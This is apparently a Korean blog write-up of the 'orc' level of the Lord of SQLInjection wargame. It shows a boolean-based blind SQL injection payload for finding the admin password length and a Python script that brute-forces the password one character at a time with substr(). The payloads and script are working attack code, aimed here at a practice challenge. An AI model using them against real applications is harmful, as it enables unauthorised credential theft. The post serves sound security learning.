[ Lord of SQLInjection ] orc
포스트
취소

[ Lord of SQLInjection ] orc



문제 분석


  1. 입력한 pw값과 실제 pw가 일치해야 문제를 해결할 수 있다.
  2. 특별한 필터링은 없다.



문제 풀이


pw가 올바른지 검사하는 부분이 존재한다. 따라서 단순히 우회하여 admin계정을 탈취하는 것이 아니라 정확한 pw를 알아내야 한다.


1
?pw=aaa' or id='admin' and length(pw) = 8%23

length함수를 이용하면 pw의 길이를 찾을 수 있다. length가 8일 때 “Hello admin”이 출력된 것을 보아 pw의 길이는 8이다.


길이를 구하면 이제 한 글자씩 비교하면서 pw를 구할 수 있다. 다음과 같은 함수를 사용할 수 있다.

  • substr()
  • substring()
  • mid
  • left
  • right


직접 하나씩 입력해도 되지만 시간이 오래 걸리므로 자동화 코드를 작성하면 편하게 pw를 구할 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

cookie = {'PHPSESSID': '사용자세션'}
address = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
string = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'

answer = ''

for i in range(1,9):
    for j in string:
        url = f"{address}?pw=' or id='admin' and substr(pw,{i},1) = '{j}'%23"
        res = requests.get(url, cookies=cookie)
        print(j)
        if "Hello admin" in res.text:
            answer += j
            print(f'[+] Find : {answer}')
            break


구한 pw를 입력하면 문제를 해결할 수 있다.